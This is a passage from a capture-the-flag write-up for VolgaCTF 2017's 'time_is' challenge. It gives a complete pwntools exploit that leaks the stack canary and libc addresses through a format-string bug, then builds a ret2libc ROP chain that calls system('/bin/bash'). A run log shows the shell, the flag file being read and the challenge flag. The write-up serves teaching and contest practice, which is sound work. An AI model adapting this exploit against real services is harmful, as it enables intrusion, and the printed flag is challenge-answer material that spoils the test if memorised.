  0x00400b35                 c3  ret

  0x00400ba3                 5f  pop rdi
  0x00400ba4                 c3  ret

And the program has a whole slew of them. And since they are located in the text segment, they will remain static. So i picked the last one, 0x400ba3

Since the payload construction depends on calculations for the randomized stack pointer address and the libc base address, we must write a program that can generate a dynamic payload to accommodate ASLR. After much trial and error, I came up with the following program. Take note of the cracksha(challenge) function; This portion of the code was written by my friend Digital_Cold, and solves the GateKeeper challenge that prefaced each challenge during this CTF. The challenge would randomize each time and was presumably to cut down on brute force attempts.

Anyway, here is the challenge solution (it starts in alcapwn(ses), line 113):

Challenge Solution

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#!/usr/bin/env python2
import itertools
import sys
import socket
import re
import IPython
from hashlib import sha1
from pwn import *
import time

# REQUIRED INPUT: a line of the form vvvvvvvvvvvvvvvvvvvvvvvvv
# Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='538b6058b26eecd3e5e0eb93'
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

def cracksha(challenge):
    ####################################
    ## Parse the challenge string
    ####################################

    challenge = challenge.strip().rstrip()
    print "SHABRUTE: source challenge '%s'" % challenge
    match = re.match(r"Solve a puzzle: find an x such that ([1-9]{2}) last bits of SHA1\(x\) are set, \
            len\(x\)==([0-9]{2}) and x\[:24\]=='([a-z0-9]+)'", challenge)

    if not match:
        raise ValueError("SHABRUTE: Failed to solve the SHA1 hash: bad input line")

    groups = match.groups()
    bitsNeeded = int(groups[0])
    lenRequired = int(groups[1])
    challenge = groups[2]

    ####################################
    ## Start bruteforcing
    ####################################

    hsh = sha1

    initial = challenge

    print("SHABRUTE: Trying to find for challenge=%s bits=%d messagelen=%d" % (initial, bitsNeeded, lenRequired))

    bytesToSearch = lenRequired - len(challenge)
    numChecks = 256**bytesToSearch

    print("SHABRUTE: Only {0} ({1} bytes) combinations to check...hah".format(numChecks, bytesToSearch))

    # Progress
    doneSoFar = 0
    step = 10000
    nextCheck = 10000

    #range(ord(' '), ord('~'))
    for guess in itertools.product(range(0, 256), repeat=bytesToSearch):
        doneSoFar += 1
        guess = initial + "".join([chr(a) for a in guess])
        digest = hsh(guess).digest()

        if bitsNeeded != 26:
            raise ValueError("SHABRUTE: currently hardcoded to 26 bits. Talk to grant")

        byte0 = ord(digest[19])
        byte1 = ord(digest[18])
        byte2 = ord(digest[17])
        byte3 = ord(digest[16]) & 0b11

        # final check
        if byte0 == 0xff and byte1 == 0xff and byte2 == 0xff and byte3 == 3:
            sys.stdout.write("\n")
            print "SHABRUTE: FOUND challenge hex %s (SHA %s) in %d tries\a" % (guess.encode("hex"), 
                hsh(guess).hexdigest(), doneSoFar)
            return guess

        # progress bar
        if doneSoFar >= nextCheck:
            sys.stdout.write("\r" + "Try #" + str(doneSoFar))
            sys.stdout.flush()
            nextCheck += step

    raise ValueError("SHABRUTE: Failed to solve the SHA1 hash: all inputs exhausted")

def main(args):
    #For local Testing
    debug = True

    if debug == False:
        NAME="YOUR-SOLVER-NAME"
        SERVICE_HOST="time-is.quals.2017.volgactf.ru"
        SERVICE_PORT=45678

        print("%s: Connecting to %s:%d..." % (NAME, SERVICE_HOST, SERVICE_PORT))
        r = remote(SERVICE_HOST, SERVICE_PORT)
        #s = socket.socket()
        #s.connect((SERVICE_HOST, SERVICE_PORT))

        # Get the challenge line
        #challenge = s.recv(256)
        challenge = r.recv(256)

        #solve the gatekeeper challenge
        response = cracksha(challenge)

        r.sendline(response)
    else:
        #r = process("time_is")
        r = remote("127.0.0.1", 12321)

    #now we're ready to pwn this program
    alcapwn(r)

    r.close()

def alcapwn(ses):
    #make sure we're at program opening prompt
    print(ses.readline().rstrip())
    print("[INFO] retrieving canary and stack leak...")
    #leak a whole bunch of stack words, including canary and a stack address
    ses.sendline("%lx." * 273)

    #retrieve leaked data
    output = ses.readline().split(".")
    #print("[DEBUG] output1:{}".format('/n/t'.join(output)))

    #the top of the stack is always exactly 0x950 bytes lower than this leaked stack addr
    rsp = int(output[-2], 16) - 0x950
    canary = int(output[-7], 16)

    print("[INFO] Canary: {}\n[INFO] Stack Pointer: {}".format(hex(canary), hex(rsp)))

    #get rid of prompt message
    ses.readline()
    print("[INFO] Now retrieving __libc_start_main address")

    wait()
    #here we leak the GOT entry for __libc_start_main
    ses.sendline("%lx." * 21 + "%0s." + struct.pack("Q", 0x603028))
    output = ses.readline().split(".")
    libcStartMain = struct.unpack("Q", output[-2]+"\x00\x00")[0]
    print("[INFO] __libc_start_main Address: {}".format(hex(libcStartMain)))

    #we've discovered using libc_database that `system` is exactly 0x24c50 bytes higher 
    #than `__libc_start_main` in libc6_2.23-0ubuntu7_amd64.so
    systemOffset = libcStartMain + 0x24c50
    print("[INFO] System: {}".format(hex(systemOffset)))

    #the return address is at rsp + 0x878
    #before overwriting the ret addr, we have to write the canary and 56 pad bytes
    #we need to write [canary] [7 junk words] [pop_rdi] [pointerToBash] [system] ["/bin/bash"]
    #address of pop rdi gadget
    popRDI = 0x00400ba3

    #write over entire stack up to canary
    payload = "A"*2056

    #rewrite the correct canary
    payload += struct.pack("Q", canary)

    #pad with junk words
    payload += "B"*56

    #add the popRDI gadget address
    payload += struct.pack("Q", popRDI)

    #pointer to "/bin/bash" we want to write is [rsp] + stack size[0x848] + (canary[8] + junk words[56] + poprdi[8])
    payload += struct.pack("Q", rsp + 0x848 + 72)

    #finally write the libc.system() address
    payload += struct.pack("Q", systemOffset)

    #and our bash string
    payload += "/bin/bash\x00"

    #print("[INFO] payload:\n{}".format(payload))
    print("[INFO] sending payload...")

    wait()
    ses.sendline(payload)
    ses.readline()

    print("[EXPLOITATION INTENSIFIES] Here come dat (shell) boi...")
    wait()
    ses.sendline("q")

    wait()
    ses.interactive()

    #IPython.embed()

def wait():
    time.sleep(0.1)

if __name__ == "__main__":
    main(sys.argv)

And here it is being run:

-> % ./solver.py 
Time_Is Solver: Connecting to time-is.quals.2017.volgactf.ru:45678...
[x] Opening connection to time-is.quals.2017.volgactf.ru on port 45678
[x] Opening connection to time-is.quals.2017.volgactf.ru on port 45678: Trying 77.244.214.141
[+] Opening connection to time-is.quals.2017.volgactf.ru on port 45678: Done
SHABRUTE: source challenge 'Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='6d8dc0cdd51128f29a22c31f''
SHABRUTE: Trying to find for challenge=6d8dc0cdd51128f29a22c31f bits=26 messagelen=29
SHABRUTE: Only 1099511627776 (5 bytes) combinations to check...hah
Try #7370000
SHABRUTE: FOUND challenge hex 3664386463306364643531313238663239613232633331660000707788 (SHA ac601ba2d8391a6a7f827b563d23a683e3ffffff) in 7370633 tries
Enter time zones separated by whitespace or q to quit
[INFO] retrieving canary and stack leak...
[INFO] Canary: 0xb2b161b71268c700
[INFO] Stack Pointer: 0x7ffd57d43350
[INFO] Now retrieving __libc_start_main address
[INFO] __libc_start_main Address: 0x7f2de16af740
[INFO] System: 0x7f2de16d4390
[INFO] sending payload...
[EXPLOITATION INTENSIFIES] Here come dat (shell) boi...
[*] Switching to interactive mode
See you!
cat flag
VolgaCTF{D0nt_u$e_printf_dont_use_C_dont_pr0gr@m}
exit
[*] Got EOF while reading in interactive
exit
^C[*] Interrupted
[*] Closed connection to time-is.quals.2017.volgactf.ru port 45678

VolgaCTF{D0nt_u$e_printf_dont_use_C_dont_pr0gr@m}

Closing Thoughts

Overall I really enjoyed this challenge as it was my first time solving a real, live exploitation CTF challenge from start to finish. Putting together each part of the puzzle was pretty exhilarating, and finally getting the shell at the end and seeing the flag file was a pretty great feeling. A+ would recommend.

Please let me know if you have any questions about any part of this post and I'll be glad to answer them. Thank you for taking the time to read this far, I hope some part of this writeup helps you!